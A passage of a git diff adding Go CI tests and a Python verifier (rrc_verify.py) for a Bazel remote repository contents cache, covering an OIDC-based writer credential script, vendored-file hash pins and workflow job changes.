with audience +// rbe-rrc-writer, masks it, sends it to the mint, retries only 429, 502 and +// the network, treats 503 or an unreachable mint as seeding off (no +// outputs, exit 0), and accepts only a certificate for the key it generated, +// CN rbe-rrc-writer[-x] O=gascity, for rbe-west's endpoint and instance oss. +func TestRRCWriterCredential(t *testing.T) { + for _, tool := range []string{"bash", "jq", "openssl"} { + requireHostTool(t, tool) + } + script := filepath.Join(sourceRepoRoot(t), bazelRRCCredential) + for _, c := range []struct { + answers string + ok, off bool + mints int + }{ + {"ok", true, false, 1}, + {"429 ok", true, false, 2}, + {"502 ok", true, false, 2}, + {"000 ok", true, false, 2}, + {"502", false, false, 4}, + {"403", false, false, 1}, + {"401", false, false, 1}, + {"409", false, false, 1}, + {"cn", false, false, 1}, + {"endpoint", false, false, 1}, + {"instance", false, false, 1}, + {"otherkey", false, false, 1}, + {"nocert", false, false, 1}, + {"503", true, true, 1}, + {"000", true, true, 4}, + } { + dir := t.TempDir() + bin := filepath.Join(dir, "bin") + if err := os.MkdirAll(bin, 0o755); err != nil { + t.Fatal(err) + } + for name, body := range map[string]string{"curl": rrcMintCurlStub, "sleep": "#!/bin/sh\nexit 0\n"} { + if err := os.WriteFile(filepath.Join(bin, name), []byte(body), 0o755); err != nil { + t.Fatal(err) + } + } + secret := filepath.Join(t.TempDir(), "secret") + output := filepath.Join(dir, "output") + out, err := runRRCScript(t, dir, "bash "+script, map[string]string{ + "PATH": bin + string(os.PathListSeparator) + os.Getenv("PATH"), + "BAZEL_CI_SECRET_DIR": secret, + "GITHUB_OUTPUT": output, + "ACTIONS_ID_TOKEN_REQUEST_URL": "https://token.invalid/oidc?api-version=2.0", + "ACTIONS_ID_TOKEN_REQUEST_TOKEN": "request-token", + "RBE_TEST_MINT": c.answers, + "RBE_TEST_MINT_LOG": filepath.Join(dir, "mint.log"), + }) + if (err == nil) != c.ok { + t.Errorf("%q: ok=%v, want %v\n%s", c.answers, err == nil, c.ok, out) + continue + } + log := readPolicyFile(t, dir, "mint.log") + if !strings.Contains(log, "oidc audience=rbe-rrc-writer auth=Authorization: bearer request-token\n") { + t.Errorf("%q: OIDC request %q", c.answers, log) + } + if got := strings.Count(log, "mint https://rbe-mint.ops.gascity.com:8444/v1/rrc-writer/cert auth=Authorization: Bearer oidc-jwt-value\n"); got != c.mints { + t.Errorf("%q: %d mint requests with the OIDC token, want %d:\n%s", c.answers, got, c.mints, log) + } + if !strings.Contains(out, "::add-mask::oidc-jwt-value") { + t.Errorf("%q: the OIDC token is not masked:\n%s", c.answers, out) + } + if !c.ok { + continue + } + if c.off { + if _, err := os.Stat(output); !os.IsNotExist(err) { + t.Errorf("%q: wrote outputs (%v); the seed must skip", c.answers, err) + } + if !strings.Contains(out, "seeding off (HTTP "+c.answers[len(c.answers)-3:]+")") { + t.Errorf("%q: no seeding-off warning:\n%s", c.answers, out) + } + continue + } + got := rrcOutputs(t, output) + for name, want := range map[string]string{ + "cert": filepath.Join(secret, "rrc-writer.crt"), "key": filepath.Join(secret, "rrc-writer.key"), + "endpoint": "grpcs://rbe-west.ops.gascity.com:443", "instance": "oss", + } { + if got[name] != want { + t.Errorf("%q: output %s=%q, want %q", c.answers, name, got[name], want) + } + } + if key := readPolicyFile(t, secret, "rrc-writer.key"); !strings.Contains(key, "-----BEGIN PRIVATE KEY-----") { + t.Errorf("%q: key is not PKCS#8 (Bazel's TLS refuses SEC1)", c.answers) + } + if fi, err := os.Stat(filepath.Join(secret, "rrc-writer.key")); err != nil || fi.Mode().Perm() != 0o600 { + t.Errorf("%q: key mode %v (%v), want 0600", c.answers, fi, err) + } + if _, err := os.Stat(filepath.Join(secret, "rrc-mint.json")); !os.IsNotExist(err) { + t.Errorf("%q: the mint reply stays on disk (%v)", c.answers, err) + } + } + + dir := t.TempDir() + if out, err := runRRCScript(t, dir, "bash "+script, map[string]string{ + "BAZEL_CI_SECRET_DIR": filepath.Join(t.TempDir(), "secret"), "GITHUB_OUTPUT": filepath.Join(dir, "output"), + }); err == nil || !strings.Contains(out, "id-token: write") { + t.Errorf("without an OIDC request URL: err %v, want a failure naming id-token: write\n%s", err, out) + } +} + +// The writer credential script and rrc_verify.py with its unit test are byte +// copies of gascity's (gascity 78c0e5c6f198306b96fe854c18b4d72f16395ce7, +// #7467), canonical there like tools/bazel/ci_analytics_extract.py: the +// pins catch a local edit that would drift out of lockstep. +var bazelRRCVendored = map[string]string{ + bazelRRCCredential: "021788a724876bd1df7e5c117a4b3e1e60c5b25bb18bca472d61c35a08cb1fac", + bazelRRCVerifyTool: "00d50e569e2a50d8ef3d2740460de7337b71afd14dc76d2d2442dbd162236f94", + bazelRRCVerifyTest: "d934f13b466660f3148cf3c8dc7273803b4417f2a52f4edc2dd2f43afb93bfaa", +} + +func TestBazelRRCVendoredFromGascity(t *testing.T) { + root := sourceRepoRoot(t) + for path, want := range bazelRRCVendored { + sum := sha256.Sum256([]byte(readPolicyFile(t, root, path))) + if got := hex.EncodeToString(sum[:]); got != want { + t.Errorf("%s sha256 = %s, want %s: it drifted from gascity's copy, or gascity changed it and this pin (and the copy) needs updating", path, got, want) + } + } +} + +// TestRRCVerifyUnitTests runs gascity's rrc_verify_test.py in place: the +// AC key construction pinned against Bazel 9.3.0's own writes, the +// roll-forward of intermediate entries, a poisoned entry, and a GUID for +// .bazelversion's release. +func TestRRCVerifyUnitTests(t *testing.T) { + root := sourceRepoRoot(t) + python := requireHostTool(t, "python3") + cmd := exec.Command(python, filepath.Join(root, bazelRRCVerifyTest), "-v") + cmd.Dir = filepath.Join(root, "tools", "bazel") + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("%s failed: %v\n%s", bazelRRCVerifyTest, err, out) + } +} diff --git a/scripts/ci_analytics_workflow_test.go b/scripts/ci_analytics_workflow_test.go index e76b9ad02..1dfbb353a 100644 --- a/scripts/ci_analytics_workflow_test.go +++ b/scripts/ci_analytics_workflow_test.go @@ -34,6 +34,8 @@ var ciAnalyticsExcludedJobs = map[string]string{ "package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract", "package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract", "bazel-release-cross": "one bazel-release-cross-compile.sh run with no BEP/exec-log/profile capture, as when it was a bazel-pure step", + "rrc-seed": "the remote repo contents cache writer: --nobuild analysis on push to main, no test lane to summarize", + "rrc-verify": "the remote repo contents cache's nightly check: --nobuild cold fetches, no test lane to summarize", } // ciAnalyticsRunTemplateRE finds a GitHub Actions expression (${{ ... }}) diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index d9b6e5fbc..77236fb98 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -580,8 +580,8 @@ func TestBlacksmithBazelRunnerSizes(t *testing.T) { for _, mode := range []string{"remote", "fork-ro", "fork-rw", "local", "cache", "skip"} { ctx := map[string]string{"needs.rbe.outputs.mode": mode} for name, job := range workflow.Jobs { - if name == bazelRBEJobName { - continue + if name == bazelRBEJobName || isBazelRRCJob(name) { + continue // rrc jobs: push/schedule only, never a fork (literal label) } want := "ubuntu-latest" if mode == "remote" { diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 5775326b9..24b8d8272 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1779,7 +1779,7 @@ const ( // bazel.yml's jobs: the rbe job that decides the execution mode, the // --config=ci lane, one job per CI job a Bazel config mirrors, and the two // package gates (F3), sorted alphabetically to match TestBazelWorkflowJobsAndExecutionMode's sort.Strings. -var bazelJobNames = []string{bazelCmdDoltJobName, bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelReleaseCrossJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName, bazelRBEPrewarmJobName} +var bazelJobNames = []string{bazelCmdDoltJobName, bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelReleaseCrossJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName, bazelRBEPrewarmJobName, bazelRRCSeedJob, bazelRRCVerifyJob} // The lanes that only run remotely (skipped unless the rbe job chose remote); // bazel-integration runs remotely or with the read-only cache (bazelIntegIf); @@ -2148,6 +2148,9 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) { t.Errorf("%s needs = %v, want [%s]", name, job.Needs, bazelRBEJobName) } + if isBazelRRCJob(name) { + continue // runner, if and setup-bazel: bazel_rrc_test.go + } // F3: the package gates use larger runners (bazelPackageRunsOn) and // their own if (the caller's package-gates input, not the rbe job's // mode - they never skip for execution-mode reasons). @@ -2711,8 +2714,8 @@ func TestBazelLaneIsGated(t *testing.T) { "rbe-mode": "${{ jobs." + bazelRBEJobName + ".outputs.mode }}", } for name, job := range workflow.Jobs { - if name == bazelRBEJobName { - continue + if name == bazelRBEJobName || isBazelRRCJob(name) { + continue // the rrc jobs never run in a PR call (bazel_rrc_test.go) } _, gated := bazelLaneGateIDs[name] _, advisory := bazelAdvisoryLanes[name] @@ -2756,14 +2759,15 @@ func TestBazelLaneIsGated(t *testing.T) { } // One caller on PR events: pr.yml's bazel job, with the four RBE secrets - // only, read-only contents, and no if (the rbe job decides). + // only, bazelCallPermissions (contents: read, plus what the rrc jobs, + // which never run on a PR, ask for), and no if (the rbe job decides). pr := readCIWorkflow(t, "pr.yml") bazel := pr.job(t, "bazel") if bazel.Uses != "./.github/workflows/"+bazelWorkflowName || bazel.If != "" || len(bazel.Needs) != 0 { t.Errorf("pr.yml bazel job uses=%q if=%q needs=%v; want an unconditional call of %s", bazel.Uses, bazel.If, bazel.Needs, bazelWorkflowName) } - if !reflect.DeepEqual(bazel.Permissions, map[string]any{"contents": "read"}) { - t.Errorf("pr.yml bazel job permissions = %v, want contents: read", bazel.Permissions) + if !reflect.DeepEqual(bazel.Permissions, bazelCallPermissions) { + t.Errorf("pr.yml bazel job permissions = %v, want %v", bazel.Permissions, bazelCallPermissions) } if !reflect.DeepEqual(bazel.With, bazelPRCallWith) { t.Errorf("pr.yml bazel job with = %v, want exactly %v (no rbe or other override)", bazel.With, bazelPRCallWith) @@ -3039,6 +3043,11 @@ func bazelLaneRunModes(t *testing.T, lane, ifExpr string, with map[string]string // bazelAdvisoryLanes' name-specific exception in // TestBazelGateSimulation below). return map[string]bool{"remote": true} + case bazelRRCSeedJobIf, bazelRRCVerifyJobIf: + // The remote repo contents cache's writer (push to main) and + // nightly check (schedule, dispatch): never in a pull_request, + // merge_group or pull_request_target call, in any mode. + return map[string]bool{} } t.Fatalf("%s if = %q: teach bazelLaneRunModes which modes run it", lane, ifExpr) return nil @@ -4182,12 +4191,13 @@ func TestBazelDoltServerTiers(t *testing.T) { }{ // +2 over the earlier counts: the CI analytics summary/upload steps // (S3; see bazel-test's "CI analytics summary" comment), added to - // every lane job ahead of the result recorder. - {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 10}, + // every lane job ahead of the result recorder. +1: the remote repo + // contents cache reader (TestBazelRRCReadSteps). + {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 11}, // One more than bazel-proxied: a "Shard balance" step (rbe-ci-cost- // latency-study.md recommendation 4), since this is the tier whose // last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. - {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 11}, + {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 12}, } { job := workflow.job(t, c.job) if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 { @@ -4195,7 +4205,7 @@ func TestBazelDoltServerTiers(t *testing.T) { } assertBazelTierStep(t, job, c.job, c.config) if n := len(job.Steps); n != c.wantSteps { - t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, CI analytics summary, CI analytics upload, result recorder)", c.job, n, c.wantSteps) + t.Errorf("%s has %d steps, want %d (checkout, the rrc reader, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, CI analytics summary, CI analytics upload, result recorder)", c.job, n, c.wantSteps) } logs := job.step(t, "Upload test logs") if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { @@ -4787,12 +4797,15 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { "enabled": "${{ steps.decide.outputs.enabled }}", "mode": "${{ steps.decide.outputs.mode }}", "tier": "${{ steps.decide.outputs.tier }}", + // The remote repo contents cache's switch, from decide's mode + // (TestBazelRRCModeStep). + "rrc": "${{ steps.rrc.outputs.rrc }}", } if !reflect.DeepEqual(job.Outputs, wantOutputs) { t.Errorf("%s outputs = %v, want %v", bazelRBEJobName, job.Outputs, wantOutputs) } - if len(job.Steps) != 3 { - t.Fatalf("%s has %d steps, want the decision step and the worker-env preflight's checkout and check", bazelRBEJobName, len(job.Steps)) + if len(job.Steps) != 4 { + t.Fatalf("%s has %d steps, want the decision step, the rrc step and the worker-env preflight's checkout and check", bazelRBEJobName, len(job.Steps)) } step := job.Steps[0] wantEnv := map[string]string{ diff --git a/scripts/rbe_worker_env_test.go b/scripts/rbe_worker_env_test.go index a9d849f24..8958859f2 100644 --- a/scripts/rbe_worker_env_test.go +++ b/scripts/rbe_worker_env_test.go @@ -367,21 +367,21 @@ func TestRBEWorkerEnvSync(t *testing.T) { // mode the lanes read is decide's alone. func TestBazelRBEWorkerEnvPreflight(t *testing.T) { job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName) - if len(job.Steps) != 3 || job.Steps[0].ID != "decide" { - t.Fatalf("%s steps = %d (first %q), want decide, the checkout and the worker-env check", bazelRBEJobName, len(job.Steps), job.Steps[0].ID) + if len(job.Steps) != 4 || job.Steps[0].ID != "decide" || job.Steps[1].ID != bazelRRCModeStepID { + t.Fatalf("%s steps = %d (first %q), want decide, rrc (TestBazelRRCModeStep), the checkout and the worker-env check", bazelRBEJobName, len(job.Steps), job.Steps[0].ID) } if !strings.Contains(job.Steps[0].Run, `case "$mode" in remote|fork-ro|fork-rw) enabled=true ;; esac`) { t.Errorf("%s decide no longer sets enabled exactly for the remote modes; the preflight's if depends on it", bazelRBEJobName) } - checkout, check := job.Steps[1], job.Steps[2] + checkout, check := job.Steps[2], job.Steps[3] if actionFamily(checkout.Uses) != "actions/checkout" || checkout.If != rbeWorkerEnvEnabledIf || checkout.With["sparse-checkout"] != bazelRBESparseCheckout { - t.Errorf("%s step 2: uses %q, if %q, sparse-checkout %q; want a checkout of %q if %s", + t.Errorf("%s step 3: uses %q, if %q, sparse-checkout %q; want a checkout of %q if %s", bazelRBEJobName, checkout.Uses, checkout.If, checkout.With["sparse-checkout"], bazelRBESparseCheckout, rbeWorkerEnvEnabledIf) } wantEnv := map[string]string{"MODE": "${{ steps.decide.outputs.mode }}"} if check.If != rbeWorkerEnvEnabledIf || check.ID != "" || check.Uses != "" || check.ContinueOnError != nil || !reflect.DeepEqual(check.Env, wantEnv) || !strings.Contains(check.Run, "tools/rbe/worker-env-sync main") { - t.Errorf("%s step 3: if %q, id %q, uses %q, continue-on-error %v, env %v; want if %s, no id, env %v, running tools/rbe/worker-env-sync main", + t.Errorf("%s step 4: if %q, id %q, uses %q, continue-on-error %v, env %v; want if %s, no id, env %v, running tools/rbe/worker-env-sync main", bazelRBEJobName, check.If, check.ID, check.Uses, check.ContinueOnError, check.Env, rbeWorkerEnvEnabledIf, wantEnv) } @@ -427,8 +427,11 @@ func TestNightlyWorkerEnvSyncOpensIssue(t *testing.T) { } for name, job := range nightly.Jobs { want := any(nil) - if name == nightlyWorkerEnvJob { + switch name { + case nightlyWorkerEnvJob: want = map[string]any{"contents": "read", "issues": "write"} + case "bazel": // the bazel.yml call: what its rrc jobs ask for + want = bazelCallPermissions } if !reflect.DeepEqual(job.Permissions, want) { t.Errorf("nightly.yml job %s permissions = %v, want %v", name, job.Permissions, want) diff --git a/scripts/tracked_files_test.go b/scripts/tracked_files_test.go index 1fd09c3af..fddeeea12 100644 --- a/scripts/tracked_files_test.go +++ b/scripts/tracked_files_test.go @@ -67,6 +67,16 @@ const ( publicRBEForkPinLine = `ENDPOINT_RE=${RBE_FORK_ENDPOINT_RE:-'^` + "grpc" + `s://rbe-fork\.ops\.gascity\.com:8444$'}` ) +// publicRRCWriterPin: rrc-writer-credential.sh (a byte copy of gascity's) +// pins the one endpoint rbe-west's mint may hand the remote repo contents +// cache writer (rbe-west, :443), so a compromised mint cannot point the +// writer's uploads elsewhere. Public, no credential: allowed as exactly +// this line, in exactly that file. +const ( + publicRRCWriterPinFile = ".github/scripts/rrc-writer-credential.sh" + publicRRCWriterPinLine = `ENDPOINT_RE=${RBE_RRC_ENDPOINT_RE:-'^` + "grpc" + `s://rbe-west\.ops\.gascity\.com(:443)?$'}` +) + type endpointHit struct { path string line int @@ -121,7 +131,8 @@ func findRemoteEndpoints(path string, content []byte, strict bool) []endpointHit if path == ".bazelrc" && publicForkCacheLines[strings.TrimSpace(line)] { continue } - if path == publicRBEForkPinFile && line == publicRBEForkPinLine { + if path == publicRBEForkPinFile && line == publicRBEForkPinLine || + path == publicRRCWriterPinFile && line == publicRRCWriterPinLine { continue } for _, re := range flagRes { diff --git a/tools/bazel/rrc_verify.py b/tools/bazel/rrc_verify.py new file mode 100644 index 000000000..779b49483 --- /dev/null +++ b/tools/bazel/rrc_verify.py @@ -0,0 +1,620 @@ +#!/usr/bin/env python3 +"""Verify rbe-west's remote repo contents cache against a cold fetch (ga-vnycm2.26). + +Bazel's --experimental_remote_repo_contents_cache stores each reproducible +external repository as the ActionResult of a synthetic, never executed action +keyed by the repository rule's predeclared-inputs hash +(RemoteRepoContentsCacheImpl, engdocs/design/bazel-remote-repo-contents-cache.md). +Nothing on the reader checks that the cached tree is what the rule produces: +that is the work the cache skips. So, nightly, this job fetches every lane's +repositories cold, without the cache, and compares each repository's tree and +marker file with the entry a lane would read for the same key. A mismatch is +a poisoned entry or a repository rule falsely marked reproducible (design +R1/R2); both must be looked at by a human. + +Inputs: the cold output base (setup-bazel's rc: --repo_contents_cache= keeps +each repository in external/ with its marker external/@.marker) +and read access to the cache (rbe-west's trusted edge with the CI client +certificate, or any REAPI endpoint). For each marker, it walks the action +cache as the reader does: the final entry under the predeclared hash, or +intermediate entries whose stdout lists batches of recorded inputs, whose +values it takes from the cold marker and rolls into the next key +(Fingerprint: sha256 over length-prefixed UTF-8 strings). The final entry's +marker must equal the cold marker byte for byte, and its tree (the Tree +proto, read from the CAS) must hold the same names, file digests, executable +bits and symlink targets as the cold directory. + +Transport: unary and server-streaming gRPC over curl's HTTP/2 with the +standard library's protobuf-free wire decoding, as tools/rbe/cache-zstd-probe.sh +does: no grpc package on a job that holds a farm credential. + +Exit status: 0 every cached repository matches; 1 a mismatch or an invalid +entry; 2 a usage error or too many transport failures to tell. +""" + +from __future__ import annotations + +import argparse +import concurrent.futures +import dataclasses +import hashlib +import json +import os +import stat +import subprocess +import sys +import tempfile +from typing import Callable, Iterable, Optional + +# RemoteRepoContentsCacheImpl.GUID per Bazel release: the synthetic Command's +# only argument, so every key depends on it. A .bazelversion bump adds its +# release here (scripts/bazel_rrc_test.go checks .bazelversion has one). +BAZEL_RRC_GUIDS = { + "9.3.0": "06a53d89-9f52-46ed-8064-f7af6ba27769", +} +MARKER_FILE_PATH = ".recorded_inputs" +REPO_DIRECTORY_PATH = "repo_contents" +EMPTY_SHA256 = hashlib.sha256(b"").hexdigest() +GRPC_NOT_FOUND = 5 +MAX_CHAIN = 64 # intermediate hops per repository +MAX_DIFFS = 20 # per repository, in the report + + +# --- protobuf wire format --------------------------------------------------- + + +def _varint(n: int) -> bytes: + out = bytearray() + while True: + b = n & 0x7F + n >>= 7 + if n: + out.append(b | 0x80) + else: + out.append(b) + return bytes(out) + + +def _field(num: int, payload: bytes) -> bytes: + return _varint(num << 3 | 2) + _varint(len(payload)) + payload + + +def _field_varint(num: int, v: int) -> bytes: + return _varint(num << 3) + _varint(v) + + +def _read_varint(b: bytes, i: int) -> tuple[int, int]: + v = s = 0 + while True: + if i >= len(b) or s > 63: + raise ValueError("truncated varint") + c = b[i] + i += 1 + v |= (c & 0x7F) << s + s += 7 + if c < 0x80: + return v, i + + +def fields(b: bytes) -> Iterable[tuple[int, int, object]]: + """Yields (field number, wire type, value) for one message.""" + i = 0 + while i < len(b): + key, i = _read_varint(b, i) + num, wire = key >> 3, key & 7 + if wire == 0: + v, i = _read_varint(b, i) + elif wire == 1: + v, i = b[i : i + 8], i + 8 + elif wire == 2: + n, i = _read_varint(b, i) + v, i = b[i : i + n], i + n + elif wire == 5: + v, i = b[i : i + 4], i + 4 + else: + raise ValueError("wire type %d" % wire) + if i > len(b): + raise ValueError("truncated field %d" % num) + yield num, wire, v + + +@dataclasses.dataclass(frozen=True) +class Digest: + hash: str + size: int + + def encode(self) -> bytes: + out = _field(1, self.hash.encode()) + if self.size: + out += _field_varint(2, self.size) + return out + + @staticmethod + def decode(b: bytes) -> "Digest": + h, size = "", 0 + for num, _, v in fields(b): + if num == 1: + h = bytes(v).decode() + elif num == 2: + size = int(v) + return Digest(h, size) + + @staticmethod + def of(data: bytes) -> "Digest": + return Digest(hashlib.sha256(data).hexdigest(), len(data)) + + +def command_bytes(guid: str) -> bytes: + """RemoteRepoContentsCacheImpl.COMMAND, serialized in field order.""" + return ( + _field(1, guid.encode()) # arguments + + _field(3, MARKER_FILE_PATH.encode()) # output_files + + _field(4, REPO_DIRECTORY_PATH.encode()) # output_directories + + _field(5, b"") # platform: the default instance, set + + _field(7, MARKER_FILE_PATH.encode()) # output_paths + + _field(7, REPO_DIRECTORY_PATH.encode()) + ) + + +def action_digest(guid: str, input_hash: str) -> Digest: + """The AC key the cache uses for input_hash (buildAction).""" + action = ( + _field(1, Digest.of(command_bytes(guid)).encode()) # command_digest + + _field(2, Digest(EMPTY_SHA256, 0).encode()) # input_root_digest + + _field(9, input_hash.encode("latin-1")) # salt + + _field(10, b"") # platform + ) + return Digest.of(action) + + +def _bazel_string(s: str) -> bytes: + # Bazel holds file contents read as ISO-8859-1 in Java Strings and + # Fingerprint.addString writes those Strings as UTF-8. + return s.encode("utf-8") + + +def roll_forward(hash_: str, recorded_input_with_value: str) -> str: + """RemoteRepoContentsCacheImpl.rollForwardHash.""" + out = hashlib.sha256() + for s in (hash_, recorded_input_with_value): + b = _bazel_string(s) + out.update(_varint(len(b)) + b) + return out.hexdigest() + + +# --- REAPI messages --------------------------------------------------------- + + +@dataclasses.dataclass +class ActionResult: + exit_code: int = 0 + output_files: list = dataclasses.field(default_factory=list) # (path, Digest, is_executable, contents) + output_directories: list = dataclasses.field(default_factory=list) # (path, tree Digest) + symlinks: int = 0 + stdout_raw: bytes = b"" + stdout_digest: Optional[Digest] = None + stderr_size: int = 0 + + @staticmethod + def decode(b: bytes) -> "ActionResult": + r = ActionResult() + for num, _, v in fields(b): + if num == 2: + path, dg, exe, contents = "", None, False, b"" + for n2, _, v2 in fields(v): + if n2 == 1: + path = bytes(v2).decode() + elif n2 == 2: + dg = Digest.decode(v2) + elif n2 == 4: + exe = bool(v2) + elif n2 == 5: + contents = bytes(v2) + r.output_files.append((path, dg, exe, contents)) + elif num == 3: + path, tree = "", None + for n2, _, v2 in fields(v): + if n2 == 1: + path = bytes(v2).decode() + elif n2 == 3: + tree = Digest.decode(v2) + r.output_directories.append((path, tree)) + elif num == 4: + r.exit_code = int(v) + elif num == 5: + r.stdout_raw = bytes(v) + elif num == 6: + r.stdout_digest = Digest.decode(v) + elif num in (7, 8): + r.stderr_size += len(v) + elif num in (10, 11, 12): + r.symlinks += 1 + return r + + +@dataclasses.dataclass +class Directory: + files: dict # name -> (Digest, is_executable) + dirs: dict # name -> Digest + symlinks: dict # name -> target + + @staticmethod + def decode(b: bytes) -> "Directory": + d = Directory({}, {}, {}) + for num, _, v in fields(b): + name, dg, exe, target = "", None, False, "" + for n2, _, v2 in fields(v): + if n2 == 1: + name = bytes(v2).decode("utf-8", "surrogateescape") + elif n2 == 2 and num in (1, 2): + dg = Digest.decode(v2) + elif n2 == 2 and num == 3: + target = bytes(v2).decode("utf-8", "surrogateescape") + elif n2 == 4 and num == 1: + exe = bool(v2) + if num == 1: + d.files[name] = (dg, exe) + elif num == 2: + d.dirs[name] = dg + elif num == 3: + d.symlinks[name] = target + return d + + +def decode_tree(b: bytes) -> tuple[Directory, dict]: + """Tree -> (root, {Directory digest hash: Directory}).""" + root, children = None, {} + for num, _, v in fields(b): + if num == 1: + root = Directory.decode(v) + elif num == 2: + children[hashlib.sha256(v).hexdigest()] = Directory.decode(v) + if root is None: + raise ValueError("Tree without a root") + return root, children + + +# --- transport ---------------------------------------------------------------- + + +class RPCError(Exception): + def __init__(self, code: int, message: str): + super().__init__("gRPC status %d: %s" % (code, message)) + self.code = code + + +def _frame(msg: bytes) -> bytes: + return b"\0" + len(msg).to_bytes(4, "big") + msg + + +def _unframe(body: bytes) -> list[bytes]: + out, i = [], 0 + while i < len(body): + if i + 5 > len(body) or body[i] != 0: + raise ValueError("not an uncompressed gRPC frame") + n = int.from_bytes(body[i + 1 : i + 5], "big") + out.append(body[i + 5 : i + 5 + n]) + i += 5 + n + if i != len(body): + raise ValueError("truncated gRPC frame") + return out + + +class CurlTransport: + """gRPC over curl's HTTP/2: grpcs:// with optional mTLS, or grpc://.""" + + def __init__(self, endpoint: str, cert: str = "", key: str = "", ca: str = "", timeout: int = 60): + if endpoint.startswith("grpcs://"): + self.base = "https://" + endpoint[len("grpcs://") :] + self.tls = True + elif endpoint.startswith("grpc://"): + self.base = "http://" + endpoint[len("grpc://") :] + self.tls = False + else: + raise ValueError("endpoint must be grpcs:// or grpc://, got %r" % endpoint) + self.base = self.base.rstrip("/") + self.cert, self.key, self.ca, self.timeout = cert, key, ca, timeout + + def call(self, method: str, request: bytes) -> list[bytes]: + with tempfile.TemporaryDirectory() as tmp: + req, head, body = (os.path.join(tmp, n) for n in ("req", "head", "body")) + with open(req, "wb") as f: + f.write(_frame(request)) + cmd = ["curl", "-sS", "--connect-timeout", "10", "--max-time", str(self.timeout)] + cmd += ["--http2"] if self.tls else ["--http2-prior-knowledge"] + if self.cert: + cmd += ["--cert", self.cert, "--key", self.key] + if self.ca: + cmd += ["--cacert", self.ca] + cmd += [ + "-H", "content-type: application/grpc", "-H", "te: trailers", + "--data-binary", "@" + req, "-D", head, "-o", body, "-w", "%{http_code}", + self.base + "/" + method, + ] # fmt: skip + p = subprocess.run(cmd, capture_output=True, text=True, check=False) + if p.returncode != 0: + raise RPCError(-1, "curl exit %d: %s" % (p.returncode, p.stderr.strip())) + if p.stdout != "200": + raise RPCError(-1, "HTTP %s" % p.stdout) + headers = read_bytes(head).decode("latin-1").replace("\r", "") + status, message = None, "" + for line in headers.split("\n"): + k, _, v = line.partition(":") + if k.strip().lower() == "grpc-status": + status = int(v.strip()) + elif k.strip().lower() == "grpc-message": + message = v.strip() + if status is None: + raise RPCError(-1, "no grpc-status") + if status != 0: + raise RPCError(status, message) + return _unframe(read_bytes(body)) + + +class Cache: + """The few REAPI reads the reader makes.""" + + def __init__(self, rpc: Callable[[str, bytes], list[bytes]], instance: str): + self.rpc, self.instance = rpc, instance + + def action_result(self, key: Digest) -> Optional[ActionResult]: + req = ( + _field(1, self.instance.encode()) + + _field(2, key.encode()) + + _field_varint(3, 1) # inline_stdout + + _field(5, MARKER_FILE_PATH.encode()) # inline_output_files + ) + try: + msgs = self.rpc("build.bazel.remote.execution.v2.ActionCache/GetActionResult", req) + except RPCError as e: + if e.code == GRPC_NOT_FOUND: + return None + raise + if len(msgs) != 1: + raise RPCError(-1, "GetActionResult: %d messages" % len(msgs)) + return ActionResult.decode(msgs[0]) + + def blob(self, d: Digest) -> bytes: + if d.size == 0: + return b"" + name = "%s/blobs/%s/%d" % (self.instance, d.hash, d.size) if self.instance else "blobs/%s/%d" % (d.hash, d.size) + msgs = self.rpc("google.bytestream.ByteStream/Read", _field(1, name.encode())) + data = b"".join(bytes(v) for m in msgs for num, _, v in fields(m) if num == 10) + if Digest.of(data) != d: + raise RPCError(-1, "blob %s/%d: got %d bytes that do not match" % (d.hash, d.size, len(data))) + return data + + +# --- verification --------------------------------------------------------------- + + +@dataclasses.dataclass +class Result: + repo: str + status: str # match, mismatch, invalid, not_cached, error + detail: list = dataclasses.field(default_factory=list) + + +def read_marker(path: str) -> tuple[str, dict]: + """(predeclared hash, {recorded input: its 'input value' line}).""" + text = read_bytes(path).decode("latin-1") + lines = text.split("\n") + recorded = {} + for line in lines[1:]: + if not line: + continue + inp, sep, _ = line.partition(" ") + if sep: + recorded[inp] = line + return lines[0].strip(), recorded + + +def find_final(cache: Cache, guid: str, predeclared: str, recorded: dict) -> tuple[Optional[ActionResult], list]: + """Walks the AC from predeclared like fetchFinalCacheEntry; returns (final entry or None, invalid reasons).""" + invalid, current, seen = [], [predeclared], set() + for _ in range(MAX_CHAIN): + nxt = [] + for h in current: + if h in seen: + continue + seen.add(h) + ar = cache.action_result(action_digest(guid, h)) + if ar is None: + continue + if ar.exit_code != 0: + invalid.append("entry %s: exit code %d" % (h, ar.exit_code)) + continue + if len(ar.output_files) == 1 and len(ar.output_directories) == 1 and ar.symlinks == 0: + return ar, invalid + if ar.output_files or ar.output_directories or ar.symlinks or not (ar.stdout_raw or (ar.stdout_digest and ar.stdout_digest.size)): + 